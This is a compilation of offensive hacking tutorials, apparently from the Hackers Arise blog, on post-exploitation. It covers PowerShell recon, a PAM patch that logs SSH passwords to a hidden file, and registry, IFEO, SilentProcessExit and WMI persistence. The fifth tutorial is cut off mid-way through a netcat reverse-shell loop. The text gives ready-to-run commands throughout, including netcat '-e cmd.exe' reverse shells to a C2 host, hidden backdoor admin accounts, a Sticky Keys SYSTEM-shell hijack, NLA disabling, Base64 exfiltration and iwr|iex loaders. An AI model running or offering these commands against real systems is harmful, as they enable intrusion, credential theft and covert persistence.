Antivirus software is common on most systems. Since our objective here is to survive using PowerShell only, we won’t discuss techniques for abusing AV products or bypassing AMSI, which are routinely detected by those defenses. That said, if you have sufficient privileges you can query installed security products directly to learn what’s present and how they’re configured. You might be lucky to find a server with no antivirus at all, but you should treat that as the exception rather than the rule

PS > Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct

This method reliably identifies the product in use, not just Microsoft Defender. For more details, such as signature freshness and scan history run this:

PS > Get-MpComputerStatus

To maximize survivability, avoid using malware on these machines. Even if logging is not actively collected, you must treat survival mode as if every move is observed. The lack of endpoint protection does not let you do everything. We saw people install Gsocket on Linux boxes thinking it would secure access, but in reality network monitoring quickly spotted those sockets and defenders shut them down. Same applies to Windows.

Script Logging

Perhaps the most important check is determining whether script logging is enabled. This feature records every executed PowerShell command.

PS > Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"

If EnableScriptBlockLogging is set to 1, all your activity is being stored in the PowerShell Operational log. Later we will show you strategies for operating under such conditions.

Users

Identifying who else is present on the system is another critical step.

The quser command is user-focused, showing logged-in users, idle times, and session details:

PS > quser

Meanwhile, qwinsta is session-focused, showing both active and inactive sessions. This is particularly useful when preparing to dump LSASS, as credentials from past sessions often remain in memory. It also shows the connection type whether console or RDP.

PS > qwinsta

Network Enumeration

Finding your way through a hostile network can be challenging. Sometimes you stay low and watch, sometimes you poke around to test the ground. Here are the essential commands to keep you alive.

ARP Cache

The ARP table records known hosts with which the machine has communicated. It is both a reconnaissance resource and an attack surface:

PS > arp -a

ARP entries can reveal subnets and active hosts. If you just landed on a host, this could be valuable.

Note: a common informal convention is that smaller organizations use the 192.168.x.x address space, mid-sized organizations use 172.16.x.x–172.31.x.x, and larger enterprises operate within 10.0.0.0/8. This is not a rule, but it is often true in practice.

Known Hosts

SSH is natively supported on modern Windows but less frequently used, since tools like PuTTY are more common. Still, it is worth checking for known hosts, as they might give you insights about the network segmentation and subnets:

PS > cat %USERPROFILE%\.ssh\known_hosts

Routes

The route table exposes which networks the host is aware of, including VLANs, VPNs, and static routes. This is invaluable for mapping internal topology and planning pivots:

PS > route print

Learning how to read the output can take some time, but it’s definitely worth it. We know many professional hackers that use this command as part of their recon toolbox.

Interfaces

Knowing the network interfaces installed on compromised machines helps you understand connectivity and plan next steps. Always record each host and its interfaces in your notes:

PS > ipconfig /all

Maintaining a record of interfaces across compromised hosts prevents redundant authentication attempts and gives a clearer mindmap of the environment.

Net Commands

The net family of commands remains highly useful, though they are often monitored. Later we will discuss bypass methods. For now, let’s review their reconnaissance value.

Password Policy

Knowing the password policy helps you see if brute force or spraying is possible. But keep in mind, these techniques are too noisy for survival mode:

PS > net accounts /domain

Groups and Memberships

Local groups, while rarely customized in domain environments, can still be useful:

PS > net localgroup

Domain groups are far more significant:

PS > net group /domain

Checking local Administrators can show privilege escalation opportunities:

PS > net localgroup Administrators

Investigating domain group memberships often reveals misconfigured privileges:

PS > net group <group_name> /domain

With sufficient rights, groups can be manipulated:

PS > net localgroup Administrators hacker /add

PS > net group "Marketing" user /add /domain

However, directly adding accounts to highly privileged groups like Domain Admins is reckless. These groups are closely monitored. Experienced hackers instead look for overlooked accounts, such as users with the “password not required” attribute or exposed credentials in LDAP fields.

Domain Computers and Controllers

Domain computer lists reveal scope, while controllers are critical to identify and study:

PS > net group "Domain Computers" /domain

PS > net group "Domain Controllers" /domain

Controllers in particular hold the keys to Active Directory. LDAP queries against them can return huge amounts of intelligence.

Domain Users

Enumerating users can give you useful account names. Administrators might include purpose-based prefixes such as “adm” or “svc” for service accounts, and descriptive fields sometimes contain role notes or credential hints.

PS > net user /domain

Shares

Shares are often overlooked by beginners, and that’s a common mistake. A share is basically a place where valuable items can be stored. At first glance it may look like a pile of junk full of unnecessary files and details. And that might be true, since these shares are usually filled with paperwork and bureaucratic documents. But among that clutter we often find useful IT data like passwords, VPN configurations, network maps and other items. Finding documents owned by assistants is just as important. Assistants usually manage things for their directors, so you’ll often find a lot of directors’ private information, passwords, emails, and similar items. Here is how you find local shares hosted on your computer:

PS > net share

Remote shares can also be listed:

PS > net view \\computer /ALL

Enumerating all domain shares creates a lot of noise, but it can be done if you don’t have a clear understanding of the hosts. We do not recommend doing this. If the host names already give you enough information about their purpose, for example, “DB” or “BACKUP”, then further enumeration isn’t necessary. Going deeper can get you caught, even on a small or poorly managed network. If you decide to do it, here is how you can enumerate all shares in the domain:

PS > net view /all /domain[:domainname]

Interesting shares can be mounted for detailed searching:

PS > net use x: \\computer\share

You can search through documents in a share using specific keywords:

PS > Get-ChildItem -Recurse | Select-String -Pattern "keyword" -SimpleMatch -CaseSensitive:$false

Summary

That’s it for Part 1 of the Survival Series. We’re excited to keep this going, showing you different ways to work with systems even when you’re limited in what you can do. Sure, the commands you have are restricted, but survival sometimes means taking risks. If you play it too safe, you might get stuck and have no way forward. Time can work against you, and making bold moves at the right moment can pay off.

The goal of this series is to help you get comfortable with the Windows tools you have at your disposal for recon and pentesting. There will be times when you don’t have much, and you’ll need to make the most of what’s available.

In Part 2, we’ll go deeper looking at host inspections, DC queries, and the Active Directory modules that can give you even more insight. Having these native tools makes it easier to stay under the radar, even when things are going smoothly. As you get more experience, you’ll find that relying on built-in tools is often the simplest, most reliable way to get the job done.

The post PowerShell for Hackers: Survival Edition, Part 1 first appeared on Hackers Arise.

Welcome back, cyberwarriors!

We are continuing our PowerShell for Hackers module and today we will look at another range of scripts. Some of them will focus on stealth, like checking if the user is still at the keyboard before taking action. Others are about making your presence felt with changing wallpapers or playing sounds. We also have scripts for moving data around by turning files into text, or avoiding restrictions by disguising PowerShell scripts as batch files. We also added a script with detailed system report as a part of privilege escalation. On top of that, we will cover a quick way to establish your persistence and make it run again after a restart.

Studying these is important for both sides. Attackers see how they can keep access without suspicion and get the information they need. Defenders get to see the same tricks from the other side, which helps them know what to look out for in logs and unusual system behavior.

Let’s break them down one by one.

Detecting User Activity

Repo:

https://github.com/soupbone89/Scripts/tree/main/Watchman

The first script is focused on detecting whether the target is actually using the computer. This is more important than it sounds. Especially useful when you are connecting to a compromised machine through VNC or RDP. If the legitimate user is present, your sudden appearance on their screen will immediately raise suspicion. On the other hand, waiting until the workstation is unattended allows you to do things quietly.

The script has two modes:

Target-Comes: Watches the horizontal movement of the mouse cursor. If no movement is detected, it sends a harmless Caps Lock keypress every few seconds to maintain activity. This keeps the session alive and prevents the screen from locking. As soon as the cursor moves, the function stops, letting you know that the user has returned.

Target-Leaves: Observes the cursor position over a set interval. If the cursor does not move during that time, the script assumes the user has left the workstation. You can specify your own time of inactivity.

Usage is straightforward:

PS > . .\watch.ps1

PS > Target-Comes

PS > Target-Leaves -Seconds 10

For stealthier use, the script can also be loaded directly from memory with commands like iwr and iex, avoiding file drops on disk. Keep in mind that these commands may be monitored in well-secured environments.

Playing Sound

Repo:

https://github.com/soupbone89/Scripts/tree/main/Play%20Sound

Playing a sound file on a compromised machine may not have a direct operational benefit, but it can be an effective psychological tool. Some hackers use it at the end of an operation to make their presence obvious, either as a distraction or as a statement.

The script plays any .wav file of your choice. Depending on your objectives, you could trigger a harmless notification sound, play a long audio clip as harassment, or use it in combination with wallpaper changes for maximum effect.

PS > . .\play-sound.ps1

PS > PlaySound "C:\Windows\Temp\sound.wav"

Changing the Wallpaper

Repo:

https://github.com/soupbone89/Scripts/tree/main/Change%20Wallpaper

Changing the target’s wallpaper is a classic move, often performed at the very end of an intrusion. It is symbolic and visible, showing that someone has taken control. Some groups have used it in politically motivated attacks, others as part of ransomware operations to notify or scare victims.

This script supports common formats such as JPG and PNG, though Windows internally converts them to BMP. Usage is simple, and it can be combined with a sound to make an even greater impression.

PS > iwr https://raw.githubusercontent.com/... | iex

PS > Set-WallPaper -Image "C:\Users\Public\hacked.jpg" -Style Fit

Converting Images to Base64

Repo:

https://github.com/soupbone89/Scripts/tree/main/Base642Image

When working with compromised machines, data exfiltration is often constrained. You may have limited connectivity or may be restricted to a simple PowerShell session without file transfer capabilities. In such cases, converting files to Base64 is a good workaround.

This script lets you encode images into Base64 and save the results into text files. Since text can be easily copied and pasted, this gives you a way to move pictures or other binary files without a download. The script can also decode Base64 back into an image once you retrieve the text.

Encode:

PS > img-b64 -img "C:\Users\rs1\Downloads\bytes.jpg" -location temp

PS > img-b64 -img "C:\Users\rs1\Downloads\bytes.jpg" -location desk

Decode:

PS > b64-img -file "$env:\TMP\encImage.txt" -location temp

With this, exfiltrated data can be restored to its original form on your own machine.

Base64 Text Converter

Repo:

https://github.com/soupbone89/Scripts/tree/main/Base64%20Encoder

Base64 encoding is not just for images. It is one of the most reliable methods for handling small file transfers or encoding command strings. Some commands can break when copied directly when special characters are involved. By encoding them, you can make sure it works.

This script can encode and decode both files and strings:

PS > B64 -encFile "C:\Users\User\Desktop\example.txt"

PS > B64 -decFile "C:\Users\User\Desktop\example.txt"

PS > B64 -encString 'start notepad'

PS > B64 -decString 'cwB0AGEAcgB0ACAAbgBvAHQAZQBwAGEAZAA='

It even supports piping the results directly into the clipboard for quick use:

PS > COMMAND | clip

Converting PowerShell Scripts to Batch Files

Repo:

https://github.com/soupbone89/Scripts/tree/main/Powershell2Bat

Some environments enforce strict monitoring of PowerShell, logging every script execution and sometimes outright blocking .ps1 files. Batch files, however, are still widely accepted in enterprise settings and are often overlooked.

This script converts any .ps into a .bat file while also encoding it in Base64. This combination not only disguises the nature of the script but also reduces the chance of it being flagged by keyword filters. It is not foolproof, but it can buy you time in restrictive environments.

PS > . .\ps2bat.ps1

PS > ".\script.ps1" | P2B

The output will be a new batch file in the same directory, ready to be deployed.

Autostart Installer

Repo:

https://github.com/soupbone89/Scripts/tree/main/Autostart

This is a persistence mechanism that ensures a payload is executed automatically whenever the system or user session starts. It downloads the executable from the provided URL twice, saving it into both startup directories. The use of Invoke-WebRequest makes the download straightforward and silent, without user interaction. Once placed in those startup folders, the binary will be executed automatically the next time Windows starts up or the user logs in.

This is particularly valuable for maintaining access to a system over time, surviving reboots, and ensuring that any malicious activities such as backdoors, keyloggers, or command-and-control agents are reactivated automatically. Although basic, this approach is still effective in environments where startup folders are not tightly monitored or protected.

First edit the script and specify your URL and executable name, then run it as follows:

PS > .\autostart.ps1

All-in-one Enumerator

Repo:

https://github.com/soupbone89/Scripts/tree/main/Enumerator

The script is essentially a reconnaissance and system auditing tool. It gathers a wide range of system information and saves the results to a text file in the Windows temporary directory. Hackers would find such a script useful because it gives them a consolidated report of a compromised system’s state. The process and service listings can help you find security software or monitoring tools running on the host. Hardware usage statistics show whether the system is a good candidate for cryptomining. Open ports show potential communication channels and entry points for lateral movement. Installed software is also reviewed for exploitable versions or valuable enterprise applications. Collecting everything into a single report, you save a lot of time.

To avoid touching the disk after the first compromise, execute the script in memory:

PS > iwr http://github.com/… | iex

All of this data is not only displayed in the console but also written into a report file stored at C:\Windows\Temp\scan_result.txt

Summary

Today we walked through some PowerShell tricks that you can lean on once you have a foothold. The focus is practical. You saw how to stay unnoticed, how to leave a mark when you want to, you also know how to sneak data out when traditional channels are blocked, and how to make sure your access survives a reboot. Alongside that, there is a handy script that pulls tons of intelligence if you know what you’re looking for.

These are small and repeatable pieces hackers can use for bigger moves. A mouse-watch plus an in-memory loader buys you quiet initial access. Add an autostart drop and that quiet access survives reboots and becomes a persistent backdoor. Then run the enumerator to map high value targets for escalation. Encoding files to Base64 and pasting them out in small chunks turns a locked-down host into a steady exfiltration pipeline. Wrapping PowerShell in a .bat disguises intent long enough to run reconnaissance in environments that heavily log PowerShell. Simple visual or audio changes can be used as signals in coordinated campaigns while the real work happens elsewhere.

The post PowerShell for Hackers, Part 5: Detecting Users, Media Control, and File Conversion first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

Landing on a Linux machine after exploitation or with freshly harvested credentials often feels like a victory, but in reality, it is only the beginning of the struggle. Lateral movement in Linux environments is notoriously trickier than in Windows domains. Even if you manage to obtain root on one host, you might quickly hit a wall: you see evidence of users connecting to other systems, but you don’t have their credentials. Without those, further expansion stalls. Techniques such as dumping memory or scraping process data might work in some cases, but SSH processes in particular won’t reveal user credentials so easily. At first glance, it feels like a dead end.

This is where PAM manipulation comes into play. By modifying how the Pluggable Authentication Module handles logins, it becomes possible to quietly capture user credentials whenever they authenticate. This is how you create a systematic way to harvest SSH passwords and reuse them for lateral movement.

Recon with Known Hosts

Before diving into PAM patching, it is useful to gather some context about the network and where legitimate users are connecting. SSH clients store previously accessed servers in a known_hosts file under each user’s .ssh directory. If those files are accessible, they give a list of destinations without the need for noisy scanning.
For example, inspecting /home/dev3/.ssh/known_hosts might reveal entries such as git. That single clue suggests a pivot point. If the compromised machine is in a restricted environment, that host may sit in another subnet or behind access controls you couldn’t otherwise reach. With the right credentials, this file becomes a roadmap for lateral movement.

Preparing the Host

Before implementing a credential capture mechanism, it’s important to ensure the host accepts password-based logins. SSHD can be configured to forbid password authentication entirely, relying solely on key-based access. To enable credential capture, the following must be set in /etc/ssh/sshd_config:

target# > nano /etc/ssh/sshd_config

PasswordAuthentication yes

Once this change is in place, the groundwork is set.

Creating a Logging Script

The next step is creating a small script that will record login attempts. With root privileges, create a new file at /usr/local/bin/logc.sh:

target# > nano /usr/local/bin/logc.sh

#!/bin/bash

echo "$(date) User: $PAM_USER Password: $(cat -), From: $PAM_RHOST" >> /var/log/.authc.log

Make it executable:

target# > chmod 777 /usr/local/bin/logc.sh

Then prepare the hidden log file that will quietly collect captured data:

target# > touch /var/log/.authc.log

This script is simple yet powerful. It captures the username, the plaintext password, the source of the connection, and timestamps each entry.

Patching PAM

With the logging script in place, the next task is to insert it into the PAM authentication chain. PAM configurations vary slightly between distributions, but for SSH specifically, the relevant file is /etc/pam.d/sshd. For broader system-wide coverage, other files such as /etc/pam.d/common-auth (Debian/Ubuntu) or /etc/pam.d/password-auth (CentOS) could be patched instead.

To modify SSH authentication only, open /etc/pam.d/sshd and add the following line at the very top:

target# > nano /etc/pam.d/sshd

auth optional pam_exec.so quiet expose_authtok /usr/local/bin/logc.sh

This ensures that every authentication attempt, successful or not, passes through the logging script before continuing with normal PAM processing. Credentials are silently exfiltrated while legitimate users remain unaware.

Applying and Testing the Patch

For the changes to take effect, restart the SSH service:

target# > service sshd restart

Once restarted, test the patch by logging in with valid credentials.

Afterwards, check the log file:

target# > cat /var/log/.authc.log

Each entry should display the captured user, the password they entered, the remote host they connected from, and the date of the attempt. Over time, this log will accumulate valuable credentials from legitimate user sessions, giving you a resource for lateral movement.

Summary

There is a great method of harvesting SSH credentials on Linux by modifying the Pluggable Authentication Module (PAM). After identifying potential lateral movement targets via known_hosts, SSH is reconfigured to allow password authentication. A custom logging script is created to capture usernames, passwords, and remote sources, and is then integrated into PAM by editing /etc/pam.d/sshd. With the patch in place, every login attempt is silently recorded to a hidden log file. Restarting SSH activates the change, and future connections yield a steady stream of usable credentials. 

The post Password Cracking: Stealing SSH Credentials with PAM first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Persistence on Windows systems has always been a cat-and-mouse game between attackers looking for reliable footholds and defenders trying to close down avenues of abuse. Windows itself provides a wide range of mechanisms that are legitimate parts of system functionality, yet each of them can be turned into a way of ensuring malicious code runs again and again after reboot or logon. Registry values, system processes, and initialization routines are all potential targets for persistence, and while most of them were never designed with security in mind, they remain available today. What makes them attractive is durability: once configured, they survive restarts and provide repeated execution opportunities without requiring the attacker to manually re-enter the environment.

The techniques described here are all examples of registry-based persistence, each with its own advantages, drawbacks, and detection footprints. Understanding them is crucial for both attackers– who rely on stability– and defenders– who need to spot tampering before it causes damage.

AppInit

AppInit is a legacy Windows feature that tells the OS loader to map one or more DLLs into any process that links user32.dll. That means when many GUI apps start, Windows will automatically load the DLLs listed in that registry value, giving whatever code is inside those DLLs a chance to run inside those processes. It’s a registry-based, machine-wide mechanism that survives reboot and affects both 32-bit and 64-bit GUI applications when configured.

cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f

cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "C:\meter64.dll" /f

cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f

cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "C:\meter32.dll" /f

The first command turns the AppInit behavior on for the 64-bit registry view. The second command writes the path to the DLL(s) that Windows should try to load into GUI processes (this value is a string of one or more DLL paths). The next two commands do the same thing for the 32-bit registry view on a 64-bit system. First it will enable the mechanism for 32-bit processes, and then set the 32-bit DLL path.

In plain terms: enable AppInit, tell Windows which DLLs to load, and do it for both 64-bit and 32-bit processes so GUI apps of both architectures will load the specified libraries.

Pros: survives reboots and causes the DLL to be loaded into many GUI processes automatically, giving broad coverage without per-user startup entries.

Cons: requires administrative rights to change HKLM, is noisy because the DLL will appear loaded in many processes (creating strong telemetry), and relies on an older, well-known mechanism that defenders often check.

If you’re a defender, focus on auditing the HKLM Windows keys (including the Wow6432Node path) and monitoring unusual DLL loads into system or common GUI processes.

LSASS

Modifying LSASS’s configuration to load an extra DLL is a way to get code executed inside a highly privileged, long-lived system process. LSASS is responsible for enforcing security policy and handling credentials. Because it loads configured authentication/notification packages at startup, adding an entry here causes the chosen module to be loaded into that process and remain active across reboots. That makes it powerful, but dangerous.

cmd#> reg add "HKLM\system\currentcontrolset\control\lsa" /v "Notification Packages" /t reg_multi_sz /d "rassfm\0scecli\0meter" /f

The registry command updates Notification Packages multi-string under the LSA key. In simple terms, this line tells Windows “when LSASS starts, also load the packages named rassfm, scecli, meter and force the write if the value already exists.”

Pros: survives reboots and places code inside a long-running, high-privilege process, making the persistence both durable and powerful.

Cons: requires administrative privileges to change the LSA registry, produces extremely high-risk telemetry and stability impact (misconfiguration or a buggy module can crash LSASS and destabilize or render the system unusable), and it is highly suspicious to defenders.

Putting code into LSASS buys durability and access to sensitive material, but it is one of the loudest and riskiest persistence techniques: it demands admin rights, creates strong signals for detection, and can crash the machine if done incorrectly.

Winlogon

Winlogon is the component that handles interactive user logons, and it calls the program(s) listed in the UserInit registry value after authentication completes. By appending an additional executable to that UserInit string you ensure your program is launched automatically every time someone signs in interactively. 

cmd#> reg add "HKLM\software\microsoft\windows nt\currentversion\winlogon" /v UserInit /t reg_sz /d "c:\windows\system32\userinit.exe, c:\meter.exe"

This keeps the normal userinit.exe first and appends c:\meter.exe, so when Winlogon runs it will launch userinit.exe and then meter.exe as part of the logon sequence. Be aware that UserInit must include the legitimate userinit.exe path first. Removing or misordering it can break interactive logons and lock users out.

Pros: survives reboots and reliably executes at every interactive user logon, giving consistent persistence across sessions.

Cons: requires administrative privileges to change HKLM, offers no scheduling control (it only runs at logon), and is risky, since misconfiguring the UserInit value can prevent users from logging in and produces obvious forensic signals.

Microsoft Office

Many Office components read configuration from the current user’s registry hive, and attackers can abuse that by inserting a path or DLL name that Office will load or reference when the user runs the suite. This approach is per-user and survives reboots because the configuration is stored in HKCU, but it only triggers when the victim actually launches the Office component that reads that key. It’s useful when the target regularly uses Office and you want a simple, low-privilege persistence mechanism that doesn’t require installing a service or touching machine-wide autoruns.

cmd$> reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d C:\meter.dll

Pros: survives reboots and works from a normal user account because it lives in HKCU, so no administrative rights are required.

Cons: there’s no scheduling control, it only triggers when the user launches the relevant Office component, so you cannot control an execution interval.

Summary

Windows persistence through registry modifications offers multiple paths, from legacy AppInit DLL injection to LSASS notification packages, Winlogon UserInit hijacking, and Office registry keys under HKCU. Each of these methods survives reboots, ensuring repeated code execution, but they vary in scope and stealth. AppInit and Office rely on application startup, while LSASS and Winlogon provide broader and more privileged coverage. All require different levels of access, with the most powerful options also being the loudest in telemetry and the riskiest to system stability. For defenders, the key takeaway is clear: monitoring critical registry keys under HKLM and HKCU, watching for unusual DLL or executable loads, and ensuring proper auditing are essential.

The post Advanced Windows Persistence, Part 2: Using the Registry to Maintain Persistence first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

Persistence is one of the core objectives of any successful intrusion, ensuring that an attacker can return to a compromised system even after reboots, logouts, or system maintenance. While much attention is often given to executable droppers, services, or scheduled tasks, there exists an entire class of persistence methods that operate purely through configuration changes. These techniques manipulate the operating system’s own settings, registry keys, and management frameworks. Because of this, they are often stealthier, more resilient, and harder to detect with conventional security tools that focus on scanning executables. In this article we will cover several configuration-based persistence strategies on Windows, ranging from user and registry manipulation to more advanced abuses of Image File Execution Options (IFEO), Global Flags with SilentProcessExit, and WMI event subscriptions. Each method shows the tradeoff between durability and detectability, showing how you can weaponize legitimate administrative features to quietly secure long-term access.

Configs

Unlike other persistence methods that rely on executables or scheduled triggers, configuration-based persistence works by altering the system’s own settings. This makes it both subtle and durable: no additional binaries are introduced, nothing new needs to be launched explicitly, and antivirus tools that focus on scanning executables have very little to detect. However, this approach usually requires administrative access to the target machine, since you must modify accounts, registry keys, or remote access settings. It also assumes the system is reachable later, for example via RDP, which is not always the case if it is hidden behind NAT or a firewall.

cmd#> net user hacker p@ssw0rd /add

cmd#> net localgroup administrators /add hacker

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v attacker /t REG_DWORD /d 0 /f

The first two commands create a new local user and add it to the privileged group. Then, the registry command hides the “attacker” account from the Windows logon screen, though it remains valid for interactive and remote login. Together, these steps provide a stealthy backdoor user that blends into the system and can be used for later access. 

Next we move to a more aggressive form of configuration backdoor:

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"

cmd#> reg add "HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP‐Tcp" /v UserAuthentication /t REG_DWORD /d 0x0 /f

By writing a Debugger value for sethc.exe (the Sticky Keys accessibility tool), the attacker replaces its execution with cmd.exe. Pressing Shift five times at the logon screen, instead of opening Sticky Keys, will spawn a command shell running with SYSTEM privileges. In addition, modifying RDP-Tcp with UserAuthentication set to 0 lowers the requirement for Network Level Authentication (NLA), allowing you to establish an RDP connection without the credentials. This pair of changes creates a reliable way to recover access directly from the Windows login screen.

Pros: highly persistent and stealthy since it modifies system settings rather than adding new binaries, and it survives reboots without leaving a typical malware footprint.

Cons: requires administrative privileges and is only effective if the attacker can later connect to the host directly. If the machine sits behind NAT or a restrictive firewall, the persistence mechanism may not be reachable.

Debugger

Instead of altering a program on disk, Windows allows a “debugger” to be attached whenever a specific executable is launched. As a hacker you can abuse this feature by setting a Debugger value for a target process so that Windows starts your command line whenever the user opens that program. The original binary remains intact and launches as usual, but the Debugger command can prepend or append additional behavior. Because this configuration lives in the registry under HKLM, it persists across reboots and does not rely on autorun folders or scheduled triggers.

cmd#> copy calc.exe _calc.exe

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & c:\windows\nc.exe ‐e c:\windows\system32\cmd.exe C2 9001" /f

When the victim starts Calculator, Windows checks IFEO, sees a Debugger set, and runs that command instead of directly running calc.exe. The cmd /C wrapper executes the two chained statements: first _calc.exe (so the user still sees a normal Calculator window), then, after _calc.exe exits, it executes the Netcat line. The single & operator means the second command runs after the first completes, so the reverse shell attempt is deferred until the user closes Calculator. Because the key is under HKLM, creating or modifying it requires administrative privileges. Once set, any user who launches Calculator will trigger the chain.

Pros: persists across reboots while leaving the original application unmodified, and it triggers naturally when a user opens a specific program.

Cons: requires administrative rights to set the HKLM IFEO key and is highly visible to security monitoring because non-developer Debugger values are a known abuse pattern.

IFEO hijacking is elegant because it avoids patching binaries and uses a legitimate Windows feature as the trigger. It is also straightforward to detect and remediate: defenders regularly audit Image File Execution Options for unexpected Debugger entries, and many EDR products alert on their creation. If the targeted program behaves oddly or fails to start under some conditions, the user may notice.

GFLAGS

Windows includes hidden debugging and tracing features that can be abused for persistence. One such feature is the SilentProcessExit mechanism, which allows administrators to configure special actions when a process terminates. By combining this with the GlobalFlag registry setting under Image File Execution Options (IFEO), a hacker can ensure that when a chosen application closes, another process of their choice will be launched. Unlike traditional autorun or scheduled task techniques, this method hides deeper in Windows’ diagnostic infrastructure and is therefore less obvious to casual inspection.

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc ‐e \windows\system32\cmd.exe C2 9001"

The commands provided configure this for Notepad. The first registry modification sets the GlobalFlag value for notepad.exe to 512, which is a flag telling Windows to monitor the process for a “silent process exit.” The next command enables reporting for when Notepad exits. The final one specifies the command to run when that happens. In this configuration, each time a user closes Notepad, the system silently triggers a Netcat reverse shell.

Pros: survives reboots and is not detected by common persistence auditing tools such as Autoruns, since it relies on less-known registry branches rather than Startup, Run keys, or services.

Cons: requires administrative rights to set IFEO and SilentProcessExit values, and defenders who know where to look can discover and remove the entries by auditing the relevant registry paths.

This persistence trick is subtle because it hooks into a diagnostic mechanism rather than mainstream autorun locations. It will not appear in most autorun inspection tools, which makes it attractive to attackers aiming for stealth. However, it is not invisible: defenders aware of SilentProcessExit can query and monitor those registry keys for unexpected values.

WMI

Windows Management Instrumentation (WMI) provides a rich, system-level framework for monitoring and automation that administrators use for telemetry and scheduled actions. Attackers can abuse WMI by creating permanent event subscriptions that live inside the WMI repository and trigger payloads on timers or system events. Because these subscriptions are stored in WMI rather than in obvious autorun registry keys or startup folders, they are stealthier and harder to spot with casual inspection tools, and they persist across reboots until explicitly removed from the repository.

cmd#> wmic /NAMESPACE:"\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

cmd#> wmic /NAMESPACE:"\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\file.exe",CommandLineTemplate="C:\file.exe"

cmd#> wmic /NAMESPACE:"\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

The first command creates an event filter that will produce a periodic trigger without needing an external driver or service. The second command creates a consumer that describes what should run when the filter fires. The third command binds the filter to the consumer so the event actually causes execution. Together these three commands create a durable subscription inside the WMI repository that causes the specified command to run on the chosen interval or condition.

Pros: survives reboots and supports finely controlled triggers (periodic timers, event-based conditions) while hiding persistence inside the WMI repository rather than in widely-scanned autorun locations.

Cons: requires administrative privileges to create permanent subscriptions and leaves artifacts in the WMI repository that can be enumerated and removed by defenders who know to inspect WMI event subscriptions.

WMI event subscriptions are powerful and flexible for long-lived persistence because they blend into the system management layer and are not visible using lightweight autorun checks. This stealth makes them high-value targets for defensive hunting: enumerating subscriptions, collecting the WMI repository, and monitoring for newly created filters, consumers and bindings are effective ways to detect and remediate this technique.

Summary

Configuration-based persistence techniques represent a subtle but formidable way for attackers to maintain access on Windows systems. By creating hidden accounts, hijacking accessibility tools, lowering RDP security requirements, or embedding logic into registry-based debugging features, you can establish backdoors that blend into system behavior rather than standing out as foreign binaries. IFEO hijacking and GFlags/SilentProcessExit mechanisms show how diagnostic infrastructure can be repurposed to launch payloads, while WMI event subscriptions demonstrate the power of system management features to provide long-lived, flexible triggers. The key strengths of these approaches lie in their stealth, durability across reboots, and reliance on trusted system mechanisms. However, they also share limitations: they typically require administrative privileges and leave artifacts that defenders who know where to look can uncover. For security teams, awareness of these less conventional persistence vectors is critical, as standard autorun and scheduled task auditing alone will not expose them.

In Part 2, we will leverage AppInit, LSASS, Winlogon, and Office to establish persistence on Windows.

The post Advanced Windows Persistence, Part 1: Remaining Inside the Windows Target first appeared on Hackers Arise.

Hello cyberwarriors!

This module takes the often-confusing topic of Windows persistence and turns it into a pragmatic playbook you can use during real engagements. In this part we start small and build up: short-lived shell loops that are easy to launch from any user context, autostart locations and registry Run keys that provide reliable logon-time execution, scheduled tasks that offer precise timing and powerful run-as options, Windows services that deliver the most durable, pre-logon persistence, and in-memory techniques that minimize on-disk traces. 

Techniques are shown with privileged # and non-privileged $ examples, so you can see what’s possible from the access you already have. Every method shows the balance between how secret it is, whether it stays after a restart, and what permissions you need to make it work.

Ultimately this module is designed to be immediately useful in the ongoing cyber conflict context. It is compact with repeatable techniques for maintaining access when appropriate.

Shell

Persistence can be achieved directly from a command prompt by creating a small looping construct that repeatedly launches a reverse or bind shell and then pauses for a fixed interval. The technique relies on a persistent cmd.exe process that keeps retrying the connection instead of using service registration or scheduled tasks. It’s a quick, user-space way to try to maintain an interactive foothold while the process lives. The example command is:

cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe C2 9001 -e cmd.exe & ping -n 60 127.0.0.1 )"

This runs a new command shell to execute the quoted loop. The for /L construct is used to execute the loop body repeatedly. In practice the parameters chosen here make the body run continuously. Inside the loop the nc.exe invocation attempts to connect back to the C2. 

The chained ping -n 60 127.0.0.1 acts as a simple portable sleep to insert a roughly one-minute delay between connection attempts.

Pros: allows a controllable retry interval and can be launched from any user account without special privileges.

